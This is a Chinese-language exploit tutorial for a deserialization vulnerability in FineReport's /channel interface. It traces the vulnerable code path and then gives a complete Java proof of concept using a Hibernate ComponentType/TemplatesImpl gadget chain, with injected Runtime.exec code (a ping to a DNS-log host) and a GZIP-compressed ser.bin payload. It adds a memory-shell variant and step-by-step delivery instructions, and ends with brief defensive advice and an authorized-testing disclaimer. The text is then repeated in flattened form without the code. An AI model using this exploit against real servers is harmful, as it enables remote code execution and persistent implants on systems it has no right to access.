帆软报表 channel 反序列化漏洞分析与利用
字数 2082 2025-08-19 12:41:24

帆软报表 Channel 反序列化漏洞分析与利用教学文档

0x00 漏洞概述

帆软报表(FineReport)是一款企业级报表工具,其/channel接口存在反序列化漏洞,攻击者可通过构造恶意序列化数据实现远程代码执行(RCE)。该漏洞存在于com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage方法中,通过GZip压缩的序列化数据处理流程存在安全隐患。

0x01 漏洞分析

漏洞入口点

漏洞触发路径:

/channel -> RemoteDesignResource.onMessage -> WorkContext.handleMessage -> deserializeInvocation

关键处理类:

com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage

反序列化流程

  1. 初始处理

    • onMessage方法接收输入数据var1
    • var1进行包装处理
    • 调用WorkContext.handleMessage进行处理
  2. 序列化处理链

    • WorkspaceServerInvoker.handleMessage调用deserializeInvocation
    • deserializeInvocation使用GZipSerializerWrapper.wrap方法返回GZipSerializerWrapper对象
    • InvocationSerializer.getDefault()返回InvocationSerializer对象
  3. 反序列化执行

    • 最终调用public static Object deserialize(byte[] var0, Serializer var1)方法
    • 使用var1(即GZipSerializerWrapper对象)的deserialize方法处理数据
    • 内部调用InvocationSerializer对象的deserialize方法
    • 触发两次readObject调用

0x02 利用链分析 (v10.0.10版本)

利用链选择

由于帆软报表内置了类似Shiro的反序列化机制,但有以下限制:

  • 内置的InvokerTransformer未实现Serializable接口
  • 没有PropertyUtils

因此选择Hibernate链结合TemplatesImpl类,通过触发getOutputProperties方法中的newTransformer()实现任意方法调用。

利用链组成

  1. 核心组件

    • com.fr.third.org.hibernate.type.ComponentType
    • com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer
    • com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer
  2. 执行链

    • 通过TemplatesImpl加载恶意字节码
    • 使用Hibernate的Getter机制触发getOutputProperties
    • 通过ComponentTypegetHashCode方法触发整个调用链

0x03 漏洞利用实现

基础利用POC

public class HibernateExp {
    
    // 设置对象字段值的工具方法
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    // 创建无构造函数的对象实例
    public static Object createWithoutConstructor(Class aa) throws Exception {
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Object o = reflectionFactory.newConstructorForSerialization(aa, 
            Object.class.getDeclaredConstructor()).newInstance();
        return o;
    }
    
    public static void main(String[] args) throws Exception {
        // 加载必要的Hibernate类
        Class<?> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");
        
        // 构造恶意命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"ping -c 1 xxxx.dnslog.pw\");";
        
        // 动态生成恶意字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();
        
        // 配置TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "HibernateExp");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        
        Method getOutputProperties = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
        Object getter;
        
        try {
            // 尝试使用GetterMethodImpl
            Class<?> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, getOutputProperties);
        } catch (Exception ignored) {
            // 回退到BasicGetter
            Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(templates.getClass(), getOutputProperties, "outputProperties");
        }
        
        // 配置PojoComponentTuplizer
        Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);
        
        // 配置ComponentType
        Object type = createWithoutConstructor(componentTypeClass);
        Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
        field1.setAccessible(true);
        field1.set(type, tuplizer);
        
        Field field2 = componentTypeClass.getDeclaredField("propertySpan");
        field2.setAccessible(true);
        field2.set(type, 1);
        
        Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
        field3.setAccessible(true);
        field3.set(type, new Type[]{(Type) type});
        
        // 创建TypedValue触发点
        TypedValue typedValue = new TypedValue((Type) type, null);
        
        // 构造最终Payload
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "aaa");
        
        // 防止put时触发,后设置value
        Field valueField = TypedValue.class.getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(typedValue, templates);
        
        // 序列化Payload
        byte[] serialize = Serializer.serialize(hashMap);
        
        // 生成GZIP压缩的Payload文件
        String fileName = "ser.bin";
        FileOutputStream fos = new FileOutputStream(fileName);
        GZIPOutputStream gzip = new GZIPOutputStream(fos);
        gzip.write(serialize);
        gzip.finish();
        fos.close();
    }
}

内存马利用

将基础POC中的命令执行部分替换为内存马实现:

// 替换cmd部分为内存马
String memshell = "Base64编码的内存马";
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
byte[] bytes = new BASE64Decoder().decodeBuffer(memshell);

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HibernateExp");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
// 注意:内存马版本可能不需要_tfactory

0x04 漏洞利用步骤

  1. 构造恶意类

    • 使用Javassist动态生成继承AbstractTranslet的恶意类
    • 在类初始化块中插入恶意代码或内存马
  2. 配置TemplatesImpl

    • 设置_name_bytecodes等必要字段
    • 可选设置_tfactory(某些环境需要)
  3. 构建Hibernate链

    • 创建GetterMethodImplBasicGetter实例
    • 配置PojoComponentTuplizerComponentType
    • 通过反射设置必要字段
  4. 构造触发HashMap

    • 使用TypedValue作为Key
    • 通过反射延迟设置value以避免提前触发
  5. 序列化Payload

    • 使用GZIP压缩序列化数据
    • 生成最终的ser.bin文件
  6. 发送Payload

    • 将生成的Payload通过/channel接口发送
    • 使用POST请求,Content-Type设置为application/json

0x05 防御建议

  1. 临时解决方案

    • 禁用/channel接口访问
    • 配置WAF拦截可疑的反序列化请求
  2. 长期解决方案

    • 升级到最新版本帆软报表
    • 实施反序列化白名单机制
    • 使用Java安全管理器限制危险操作
  3. 检测方法

    • 监控/channel接口的异常访问
    • 检查日志中可疑的序列化数据特征

0x06 参考资源

  • Hibernate反序列化链研究资料
  • Java反序列化漏洞利用技术
  • 帆软报表官方安全公告
  • ysoserial工具链分析

本教学文档详细分析了帆软报表Channel接口的反序列化漏洞原理、利用链构造方法以及实际利用过程,包括基础命令执行和内存马植入两种利用方式。使用时请遵守相关法律法规,仅用于授权测试和安全研究目的。

帆软报表 Channel 反序列化漏洞分析与利用教学文档 0x00 漏洞概述 帆软报表(FineReport)是一款企业级报表工具,其 /channel 接口存在反序列化漏洞,攻击者可通过构造恶意序列化数据实现远程代码执行(RCE)。该漏洞存在于 com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage 方法中,通过GZip压缩的序列化数据处理流程存在安全隐患。 0x01 漏洞分析 漏洞入口点 漏洞触发路径: 关键处理类: 反序列化流程 初始处理 : onMessage 方法接收输入数据 var1 对 var1 进行包装处理 调用 WorkContext.handleMessage 进行处理 序列化处理链 : WorkspaceServerInvoker.handleMessage 调用 deserializeInvocation deserializeInvocation 使用 GZipSerializerWrapper.wrap 方法返回 GZipSerializerWrapper 对象 InvocationSerializer.getDefault() 返回 InvocationSerializer 对象 反序列化执行 : 最终调用 public static Object deserialize(byte[] var0, Serializer var1) 方法 使用 var1 (即 GZipSerializerWrapper 对象)的 deserialize 方法处理数据 内部调用 InvocationSerializer 对象的 deserialize 方法 触发两次 readObject 调用 0x02 利用链分析 (v10.0.10版本) 利用链选择 由于帆软报表内置了类似Shiro的反序列化机制,但有以下限制: 内置的 InvokerTransformer 未实现 Serializable 接口 没有 PropertyUtils 类 因此选择Hibernate链结合 TemplatesImpl 类,通过触发 getOutputProperties 方法中的 newTransformer() 实现任意方法调用。 利用链组成 核心组件 : com.fr.third.org.hibernate.type.ComponentType com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer 执行链 : 通过 TemplatesImpl 加载恶意字节码 使用Hibernate的Getter机制触发 getOutputProperties 通过 ComponentType 的 getHashCode 方法触发整个调用链 0x03 漏洞利用实现 基础利用POC 内存马利用 将基础POC中的命令执行部分替换为内存马实现: 0x04 漏洞利用步骤 构造恶意类 : 使用Javassist动态生成继承 AbstractTranslet 的恶意类 在类初始化块中插入恶意代码或内存马 配置TemplatesImpl : 设置 _name 、 _bytecodes 等必要字段 可选设置 _tfactory (某些环境需要) 构建Hibernate链 : 创建 GetterMethodImpl 或 BasicGetter 实例 配置 PojoComponentTuplizer 和 ComponentType 通过反射设置必要字段 构造触发HashMap : 使用 TypedValue 作为Key 通过反射延迟设置value以避免提前触发 序列化Payload : 使用GZIP压缩序列化数据 生成最终的 ser.bin 文件 发送Payload : 将生成的Payload通过 /channel 接口发送 使用POST请求,Content-Type设置为 application/json 0x05 防御建议 临时解决方案 : 禁用 /channel 接口访问 配置WAF拦截可疑的反序列化请求 长期解决方案 : 升级到最新版本帆软报表 实施反序列化白名单机制 使用Java安全管理器限制危险操作 检测方法 : 监控 /channel 接口的异常访问 检查日志中可疑的序列化数据特征 0x06 参考资源 Hibernate反序列化链研究资料 Java反序列化漏洞利用技术 帆软报表官方安全公告 ysoserial工具链分析 本教学文档详细分析了帆软报表Channel接口的反序列化漏洞原理、利用链构造方法以及实际利用过程,包括基础命令执行和内存马植入两种利用方式。使用时请遵守相关法律法规,仅用于授权测试和安全研究目的。